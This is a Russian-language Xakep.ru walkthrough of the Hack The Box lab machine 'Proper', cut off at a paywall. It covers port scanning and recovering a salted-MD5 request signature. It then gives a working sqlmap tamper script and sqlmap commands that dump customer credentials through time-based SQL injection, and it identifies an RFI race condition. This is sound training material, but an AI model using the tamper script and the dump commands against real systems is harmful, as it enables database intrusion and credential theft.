Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
IP машины — 10.10.10.231, заносим его в /
:
10.10.10.231 proper.htb
И сканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
![Результат работы скрипта Результат работы скрипта](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21843/02.png)
По результатам сканирования имеем всего один открытый порт — 80, там откликается веб‑сервер Microsoft IIS httpd 10.0.
Приступаем к осмотру сайта.
![Главная страница сайта Главная страница сайта](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21844/03.png)
Сканирование веб-контента
На самом сайте зацепиться не за что, поэтому врубаем перебор каталогов.
Справка: сканирование веб-сайта
Сканирование сайта методом перебора каталогов и файлов по словарю — это одно из первых действий при пентесте веб‑приложения. Для этого обычно применяют dirsearch, DIRB или более быстрый gobuster. Мы же в этой статье будем использовать встроенные средства Burp Suite.
Перехватываем запрос в Burp Proxy и в контекстном меню выбираем Engagement tools → Discover content. Указываем глубину сканирования, интересующие нас расширения файлов и бэкапов.
![Настройки Burp Discover content Настройки Burp Discover content](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21845/04.png)
Спустя несколько минут (если ты, как и я, выбрал 200 потоков для сканирования) получим карту сайта, отталкиваясь от которой будем определять следующий вектор атаки.
![Карта сайта proper.htb Карта сайта proper.htb](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21846/05.png)
Я посмотрел все комментарии на всех страницах (в контекстном меню Engagement tools → Find comments), но снова ничего важного. А вот файл products-ajax.
принимает какие‑то необычные параметры. Закинем этот запрос в Burp Repeater для теста. В таких случаях стоит получить все возможные ответы от сервера при разном количестве параметров и даже их разном значении. Так, если удалить один из параметров, то получаем ошибку, содержащую соль. А если изменить значение любого из параметров, то нам сообщат об обнаружении атаки.
![Запрос без одного параметра Запрос без одного параметра](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21847/06.png)
![Запрос с измененным значением одного из параметров Запрос с измененным значением одного из параметров](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21848/07.png)
Так как используется соль, параметр h
, скорее всего, хеш MD5 от значения параметра order
. Если его изменить, это приведет к ошибке, что подтверждает нашу догадку. Чтобы это проверить, нужно попробовать все возможные варианты хеширования с использованием соли. Их можно найти в справке к программе John the Ripper.
john --list=subformats | grep md5
![Варианты хеширования MD5 с использованием соли Варианты хеширования MD5 с использованием соли](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21849/08.png)
Для определения алгоритма нам нужно создать словарь (word
), содержащий строку id
, и файл с хешем и солью (hash
), записанными через знак доллара: hash$salt
. Затем перебираем все возможные форматы. Чтобы сделать это быстро, напишем скрипт Bash, который будет парсить формат из вывода справки, а затем применять его в команде брута хеша.
Сначала установим перенос строки в качестве разделителя (IFS
), а потом будем в цикле получать каждую строку из справки (переменная entry
). Для каждой такой строки (например, Format
) будем парсить формат:
- Командой
tr
удаляем из строки все пробелы (результат:-d ' ' Format=dynamic_29
).type=dynamic_29: md5( utf16( $p) ) - Командой
cut
разделяем строку по символу-d '=' -f 3 =
и получаем третью часть (результат:dynamic_29:
).md5( utf16( $p) ) - Командой
cut
разделяем строку по символу-d ': ' -f 1 :
и получаем первую часть (результат:dynamic_29
).
Затем выполняем перебор по полученному алгоритму (john
). Так выглядит полный скрипт:
#!/bin/bashIFS=$''for entry in $(john --list=subformats | grep md5)do format="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)" echo -e "\nFormat: $format ---------------------------------\n" john --format=$format --wordlist=word hashdone
![Результат перебора алгоритмов Результат перебора алгоритмов](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21850/09.png)
Для формата dynamic_4
(salt
) перебор закончился успешно. Так мы подтверждаем свое предположение и получаем искомый алгоритм хеширования с использованием соли.
![Проверка алгоритма хеширования с использованием соли Проверка алгоритма хеширования с использованием соли](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21851/10.png)
Точка входа
Теперь мы можем манипулировать значением параметров так, чтобы они обрабатывались приложением. Текст ошибки натолкнул меня на мысль, что можно было бы написать tamper для sqlmap, хотя мы пока так и не установили достоверно, есть ли здесь возможность SQL-инъекции.
info
Темперы — это скрипты для sqlmap, которые преобразуют его запросы.
#!/usr/bin/env pythonfrom hashlib import md5from urllib.parse import quote_plusfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef tamper(payload, **kwargs): ''' ''' h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest() return quote_plus(payload) + "&h=" + h
Этот файл (я назвал его sqlmap_tamper.
) нужно разместить в директории /
, после чего запускаем sqlmap и проверяем, есть ли уязвимость. Нам нужно указать наш темпер в параметре tamper
, задать опцию -p
для проверки, а также то, что мы не хотим использовать кодирование URL.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --batch --skip-urlencode --tamper=sqlmap_tamper
![Результат выполнения sqlmap Результат выполнения sqlmap](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21852/11.png)
И мы попали в точку: приложение уязвимо к time-based SQL-инъекции, о чем нам и сообщил sqlmap. Эта чудо‑программа сохранила у себя шаблон нагрузки для заданного URL, поэтому мы можем спокойно продолжать работу и доставать необходимые данные — к примеру, названия баз данных (опция --dbs
).
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs
![Получение имен баз данных с помощью sqlmap Получение имен баз данных с помощью sqlmap](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21853/12.png)
Так мы получаем три базы данных: служебная information_schema
, тестовая test
и, скорее всего, нужная нам база данных приложения — cleaner
. Получим все таблицы из базы опцией --tables
, а саму базу указываем в параметре -D
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables
![Получение таблиц в базе cleaner с помощью sqlmap Получение таблиц в базе cleaner с помощью sqlmap](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21854/13.png)
В базе есть три таблицы, и в одной из них должны быть учетные данные. Скорее всего, нам подойдет таблица customers
. Получим названия столбцов опцией --columns
, указав таблицу в параметре -T
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns
![Получение столбцов в таблице customers с помощью sqlmap Получение столбцов в таблице customers с помощью sqlmap](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21855/14.png)
Действительно, нашлись учетные данные! Давай получим значения (опция --dump
) из столбцов login
и passwords
. Столбцы указываем через запятую в параметре -C
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump
![Получение учетных данных Получение учетных данных](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21856/15.png)
Извлечение данных происходит очень долго, поэтому попробуем взломать уже полученные хеши. Перебор с солью ни к чему не привел, поэтому я попробовал взломать хеш без соли при помощи md5decrypt.net. Это дало результат!
![Взломанные пароли пользователей Взломанные пароли пользователей](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21857/16.png)
Точка опоры
Авторизуемся с полученными учетными данными на сайте. Нам теперь открываются дополнительные возможности, одна из них — смена цветовой темы. Причем интересен сам способ ее смены: тема устанавливается через передачу GET-параметра theme
.
![Страница сайта для авторизованных пользователей Страница сайта для авторизованных пользователей](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21858/17.png)
Стоит протестировать GET-параметры так же, как и в прошлый раз. Если мы изменим или удалим один из них, то нам сообщат об обнаружении атаки. Но раз мы знаем, как осуществляется подпись, давай укажем значение, которое будет обработано сервером, к примеру test
.
![Создание подписи первого параметра Создание подписи первого параметра](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21860/19.png)
![Ошибка при передаче значения test Ошибка при передаче значения test](https://static.xakep.ru/images/4008573ebb27809674da912b91ed021c/21861/20.png)
Уязвимость RFI
Как мы видим из текста ошибки, из указанной нами директории подключается файл header.
(строка 12) с помощью функции file_get_contents
, и если в файле отсутствует последовательность символов <
(строка 18), то он добавляется как include (строка 19).
Таким образом, обращение к файлу происходит дважды, а это означает уязвимость к атаке типа race condition: перед проверкой и включением файла его содержимое возможно изменить.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»